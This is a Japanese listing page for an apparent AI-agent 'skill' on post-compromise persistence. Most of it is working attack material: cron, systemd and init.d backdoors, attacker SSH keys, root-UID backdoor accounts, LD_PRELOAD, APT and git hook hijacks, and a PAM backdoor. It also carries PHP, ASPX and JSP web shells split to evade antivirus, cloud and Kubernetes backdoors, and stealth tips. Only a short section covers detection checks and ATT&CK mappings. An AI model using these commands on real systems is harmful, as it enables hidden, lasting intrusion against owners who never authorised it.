establishing-persistence について
システムへのアクセス取得後の永続化手法を評価するセキュリティスキルです。侵害後の演習やレッドチームテスト向けに、Windows、Linux、コンテナ、クラウド、Web シェルの手法と検出チェックをまとめています。
主な機能
- 01Windows の永続化手法
- 02Linux の cron、systemd、SSH 手法
- 03コンテナとクラウドの永続化
- 04Web シェルの手法
- 05永続化の検出チェック
活用シーン
- 01許可されたレッドチーム演習での永続化テスト
- 02システムアクセス後の永続化手法の確認
- 03ホスト上の一般的な永続化箇所の点検
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ trilwu/ secskills --skill establishing-persistenceインストール後、Claude Code で/establishing-persistenceを入力して読み込まれたか確認します。
同梱ファイルreferences/windows-persistence-commands.md
詳細
永続化の確立
使用する場合
- 侵害したシステムへのアクセスを維持する場合
- ポストエクスプロイトの手法を用いる場合
- レッドチームの作戦を実施する場合
- 永続化をテストする場合
- バックドアを作成する場合
使用しない場合
- アクセスを確保する前 — まず、該当する初期アクセスまたは権限昇格のスキルを使用してください
- マルウェア、インプラント、ローダーの作成 — 対象範囲外です
- 防御側として攻撃者の永続化手法を見つける場合 —
responding-to-incidentsとhunting-threatsを使用してください
Windows の永続化
レジストリの Run キー、スケジュールされたタスク、サービス、WMI イベントサブスクリプション、スタートアップフォルダー、DLL ハイジャック、IFEO、AppInit_DLLs、バックドアアカウントなど、Windows コマンドの網羅的なカタログは references/windows-persistence-commands.md にあります。
Linux の永続化
Cron ジョブ
# User crontab (no sudo needed)
crontab -e
# Add:
@reboot /tmp/.backdoor
0 * * * * /tmp/.backdoor # Every hour
# System-wide cron (requires root)
echo "@reboot root /tmp/.backdoor" >> /etc/crontab
# Cron.d directory
echo "* * * * * root /tmp/.backdoor" > /etc/cron.d/backdoor
# Daily/hourly cron scripts
cp backdoor.sh /etc/cron.daily/update
chmod +x /etc/cron.daily/update
Systemd サービス
# Create service file
cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/tmp/.backdoor
Restart=always
[Install]
WantedBy=multi-user.target
EOF
# Enable and start
systemctl daemon-reload
systemctl enable backdoor.service
systemctl start backdoor.service
# Verify
systemctl status backdoor.service
RC スクリプト(Init.d)
# Create init script
cat > /etc/init.d/backdoor << EOF
#!/bin/bash
### BEGIN INIT INFO
# Provides: backdoor
# Required-Start: \$network
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
### END INIT INFO
/tmp/.backdoor &
EOF
chmod +x /etc/init.d/backdoor
update-rc.d backdoor defaults
SSH キー
# Add attacker's public key
mkdir -p /root/.ssh
echo "ssh-rsa AAAA...attacker_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# For specific user
echo "ssh-rsa AAAA...attacker_key" >> /home/user/.ssh/authorized_keys
.bashrc / .bash_profile
# Add to user's .bashrc
echo "/tmp/.backdoor &" >> ~/.bashrc
echo "/tmp/.backdoor &" >> ~/.bash_profile
# Root .bashrc
echo "/tmp/.backdoor &" >> /root/.bashrc
LD_PRELOAD
# Hijack library loading
echo "/tmp/evil.so" > /etc/ld.so.preload
# Will load evil.so into every process
MOTD バックドア
# Add to message of the day scripts (runs on SSH login)
echo "/tmp/.backdoor &" >> /etc/update-motd.d/00-header
chmod +x /etc/update-motd.d/00-header
APT/パッケージマネージャー
# APT hook (Debian/Ubuntu)
cat > /etc/apt/apt.conf.d/99backdoor << EOF
APT::Update::Pre-Invoke {"/tmp/.backdoor &";};
EOF
# Runs before apt update
Git フック
# If git repositories exist
echo "/tmp/.backdoor &" > /path/to/repo/.git/hooks/post-checkout
chmod +x /path/to/repo/.git/hooks/post-checkout
# Triggers on git checkout
バックドアアカウント
# Create backdoor user with root UID
useradd -u 0 -o -g 0 -M -d /root -s /bin/bash backdoor
echo "backdoor:P@ssw0rd" | chpasswd
# Or add to /etc/passwd directly
echo "backdoor:x:0:0::/root:/bin/bash" >> /etc/passwd
echo "backdoor:$(openssl passwd -6 P@ssw0rd):::::::" >> /etc/shadow
PAM バックドア
# Add to /etc/pam.d/sshd or /etc/pam.d/common-auth
# Use custom PAM module that accepts magic password
auth sufficient pam_unix.so try_first_pass
auth sufficient /lib/security/pam_backdoor.so
Web シェル
以下のシェル内の識別子は角括弧で分割しています。
syst[e]mはsystem、ev[a]lはeval、$_G[E]Tは$_GET、Runtime.getRunt[i]meはRuntime.getRuntimeです。これらをそのまま記述すると、各ブロックがウイルス対策ソフトの Web シェルシグネチャに一致し、このファイルはダウンロード時に隔離されます。リポジトリの README にある「ウイルス対策ソフトの誤検知」を参照してください。
PHP Web シェル
<?php
// simple.php
syst[e]m($_G[E]T['cmd']);
?>
// Advanced
<?php
if($_G[E]T['key'] == 'secret') {
ev[a]l($_P[O]ST['cmd']);
}
?>
アップロード先:
# Web roots
/var/www/html/
/var/www/
/usr/share/nginx/html/
C:\inetpub\wwwroot\
# Hidden names
.htaccess.php
favicon.ico.php
robots.txt.php
ASP/ASPX Web シェル
<%@ Page Language="C#" %>
<%
Response.Write(System.Diagnost[i]cs.Process.Start("cmd.exe","/c " + Request["cmd"]).StandardOutput.ReadToEnd());
%>
JSP Web シェル
<%
Runtime.getRunt[i]me().exec(request.getParameter("cmd"));
%>
コンテナーの永続化
Docker:
# Modify container to restart always
docker update --restart=always container_name
# Add to docker-compose.yml
restart: always
# Create new container with backdoor
docker run -d --restart=always --name backdoor evil_image
Kubernetes:
# DaemonSet (runs on all nodes)
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: backdoor
spec:
selector:
matchLabels:
name: backdoor
template:
metadata:
labels:
name: backdoor
spec:
containers:
- name: backdoor
image: attacker/backdoor:latest
クラウドの永続化
AWS
# Create IAM user
aws iam create-user --user-name backdoor
# Attach admin policy
aws iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Create access key
aws iam create-access-key --user-name backdoor
# Lambda function persistence
# Create Lambda that executes periodically via CloudWatch Events
Azure
# Create service principal
az ad sp create-for-rbac --name "backdoor" --role Contributor
# Create managed identity
az identity create --name backdoor --resource-group RG
# Function App persistence
# Deploy Azure Function that runs on schedule
ルートキット
ユーザーモードルートキット:
- ライブラリ関数をフックする
- プロセスを隠す
- ファイルを隠す
- ネットワークを隠す
カーネルモードルートキット:
- ロード可能なカーネルモジュール(LKM)
- システムコールをフックする
- 検出がより困難
- root 権限が必要
# Example LKM (requires kernel headers)
# Compile and load malicious kernel module
insmod backdoor.ko
永続化の検出
Windows:
# Check Run keys
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
# Check scheduled tasks
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft*"}
# Check services
Get-Service | Where-Object {$_.StartType -eq "Automatic"}
# Check WMI subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
Linux:
# Check cron jobs
crontab -l
ls -la /etc/cron.*
cat /etc/crontab
# Check systemd services
systemctl list-unit-files --type=service --state=enabled
# Check init scripts
ls -la /etc/init.d/
# Check SSH authorized_keys
cat ~/.ssh/authorized_keys
cat /root/.ssh/authorized_keys
# Check LD_PRELOAD
cat /etc/ld.so.preload
# Check for hidden files
find / -name ".*"
OpSec のヒント
- 目立たないようにする - WindowsUpdate、SystemCheck など、システムに見える名前を使用する
- 冗長性 - 複数の永続化手法を確立する
- ステルス性 - ログを大量に生成する目立つ手法は避ける
- クリーンアップ - 作戦終了時に永続化を削除する
- タイムスタンプ - ファイルのタイムスタンプをシステムファイルに合わせる
ツール
- PowerSploit - PowerShell によるポストエクスプロイト
- Empire - ポストエクスプロイトフレームワーク
- Metasploit - 永続化モジュール
- SILENTTRINITY - モダンな C2 フレームワーク
- Covenant - .NET C2 フレームワーク
ATT&CK のカバレッジ
secskills-core/ttp-index.json から生成されています。このファイルを編集してから、
python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、
ID が現在の ATT&CK リリースと一致していることを再確認してください。
実行(TA0002)
- T1053 スケジュールされたタスク/ジョブ (永続化、権限昇格にも該当)
永続化(TA0003)
- T1053.003 Cron —
escalating-linux-privilegesも参照 - T1053.005 スケジュールされたタスク
- T1098 アカウント操作 (権限昇格にも該当) —
attacking-active-directoryも参照 - T1136 アカウントの作成 —
attacking-active-directoryも参照 - T1505.003 Web シェル —
testing-web-applicationsも参照 - T1543 システムプロセスの作成または変更 (権限昇格にも該当)
- T1543.002 Systemd サービス —
escalating-linux-privilegesも参照 - T1543.003 Windows サービス —
escalating-windows-privilegesも参照 - T1546 イベントトリガーによる実行 (権限昇格にも該当)
- T1546.003 Windows Management Instrumentation イベントサブスクリプション —
hunting-threatsも参照 - T1547 ブートまたはログオン時の自動起動実行 (権限昇格にも該当)
- T1547.001 レジストリ実行キー/スタートアップフォルダー
- T1556 認証プロセスの変更 (認証情報アクセスにも該当) —
attacking-active-directoryも参照
防御回避(TA0005)
- T1036 偽装 —
hunting-threatsも参照
これらのいずれかに関する検知コンテンツ:engineering-detections。プロアクティブな探索:hunting-threats。侵害後の対応:responding-to-incidents。